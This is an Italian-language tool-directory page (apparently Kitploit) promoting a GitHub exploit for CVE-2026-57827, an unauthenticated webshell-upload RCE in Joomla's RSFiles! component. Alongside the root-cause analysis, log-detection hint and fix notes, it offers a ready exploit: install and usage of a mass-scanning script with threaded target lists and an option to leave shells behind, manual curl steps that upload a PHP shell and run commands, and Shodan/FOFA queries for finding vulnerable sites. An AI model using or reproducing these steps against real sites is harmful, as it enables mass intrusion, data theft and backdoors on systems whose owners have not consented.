Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-57827 — CVE-2026-57827 — RSFiles! Componente Joomla RCE tramite upload di file non autenticato. Bypass dell'upload split-controller. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-57827
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — RSFiles! Componente Joomla RCE tramite upload di file non autenticato. Bypass dell'upload split-controller. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

15222 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2026-57827 — RCE da upload di file non autenticato nel componente Joomla RSFiles!

Bypass dell'upload dello Split-Controller → Chiamata diretta al task di scrittura → /downloads/shell.php → RCE


Panoramica

CVE-2026-57827 è una vulnerabilità di upload arbitrario di file senza autenticazione, con gravità critica (CVSS 9.8), in RSFiles! (com_rsfiles), un componente di gestione file e download ampiamente utilizzato per Joomla, versioni < 1.17.12.

La vulnerabilità sfrutta un difetto di progettazione dello split-controller: RSFiles! separa il proprio upload in due task frontend — un controllo preliminare (gate dei permessi + allow-list delle estensioni) e un metodo di scrittura (salva il file su disco). Il metodo di scrittura può essere chiamato direttamente, bypassando completamente il controllo preliminare. Nessuna autenticazione, nessun token CSRF richiesto.

Versioni interessate

VersioneStato
< 1.17.12Vulnerabile
1.17.12+Corretta

Scoperta da: Phil Taylor, mySites.guru (10 luglio 2026) Vendor: RSJoomla (rsjoomla.com) Componente: com_rsfiles


Meccanismo della vulnerabilità

Causa principale

RSFiles! suddivide il proprio upload tra due task frontend separati in /components/com_rsfiles/controllers/rsfiles.php:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Perché funziona

  1. Split controller — I controlli di sicurezza e la scrittura del file si trovano in due metodi diversi. Solo il controllo preliminare è protetto.
  2. Accesso diretto al task — Il controller frontend di Joomla consente di chiamare qualsiasi task direttamente tramite &task=rsfiles.upload, saltando completamente il controllo preliminare.
  3. Nessuna autenticazione — Il controller frontend non ha alcun controllo di accesso. I visitatori anonimi possono chiamare il task di scrittura.
  4. Nessun token CSRF — Il modulo di upload frontend non ha alcun token CSRF a livello di sito.
  5. Nessuna validazione del tipo di file — Il metodo di scrittura legge il nome del file dalla richiesta e lo passa al gestore di upload integrato di Joomla (JFile::upload()), che accetta qualsiasi tipo di file per impostazione predefinita.
  6. Cartella download nella web root — La cartella di download predefinita di RSFiles! si trova all'interno della web root. Il .htaccess protettivo che bloccherebbe l'esecuzione di PHP è un'impostazione amministrativa opt-in che è DISATTIVATA per impostazione predefinita.

Flusso dell'attacco

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Riferimenti verificati al codice sorgente

Rilevamento nei log del server (dall'avviso di RSJoomla)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Difetto di progettazione principale

I controlli di sicurezza (gate dei permessi + allow-list delle estensioni) sono un passaggio preliminare separato dal metodo che scrive effettivamente il file. Solo il primo contiene i controlli. Il secondo — quello che scrive su disco — può essere chiamato direttamente costruendo il giusto parametro task nell'URL, bypassando tutti i controlli di sicurezza.

Questo è un esempio da manuale dell'anti-pattern "controlli e azioni in luoghi diversi": il controllo e l'operazione che dovrebbe proteggere sono disaccoppiati, e un attaccante può raggiungere l'operazione senza passare dal controllo.


Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Utilizzo

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argomenti

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prova di concetto

Singolo target

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Sfruttamento manuale

Passo 1 — Carica la shell

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Passo 2 — Accedi alla shell

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

Passo 3 — Esegui i comandi

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mitigazione (se l'aggiornamento non è possibile)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Impatto

Uno sfruttamento riuscito produce esecuzione remota di codice come utente del web server:

  • Estrarre configuration.php → credenziali del database, segreti SMTP
  • Accedere a tutti i contenuti Joomla, agli utenti e ai dati delle estensioni
  • Distribuire backdoor persistenti
  • Fare pivot verso le reti interne
  • Deturpare il sito web o iniettare malware

In nessun passaggio è necessario un account sul sito. Anonimo, non autenticato, remoto.


La correzione (1.17.12)

RSJoomla ha corretto la vulnerabilità nella versione 1.17.12:

  • Aggiungendo un controllo dei permessi al metodo di scrittura stesso (non solo al controllo preliminare)
  • Aggiungendo la validazione del tipo di file al metodo di scrittura
  • Imponendo il token CSRF sull'endpoint di upload del frontend
  • Rendendo la protezione .htaccess nella cartella di download attiva per impostazione predefinita

Disclaimer

SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.

Non utilizzare contro sistemi senza il permesso esplicito del proprietario. Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti


Non affiliato a RSJoomla o mySites.guru.

Scarica lo strumento
FileScopo
/components/com_rsfiles/controllers/rsfiles.phpController con i task vulnerabili upload() e checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpTemplate del modulo di upload frontend (confermato: name="file", task=rsfiles.upload)
/downloads/Cartella di download predefinita nella web root (protezione .htaccess DISATTIVATA per impostazione predefinita)
/briefcase/Cartella briefcase (anch'essa scrivibile)
RisorsaLink
Voce NVDCVE-2026-57827
Avviso mySites.gurumysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
Avviso RSJoomlarsjoomla.com
CWE-434Unrestricted Upload of File with Dangerous Type
SegnalatorePhil Taylor, mySites.guru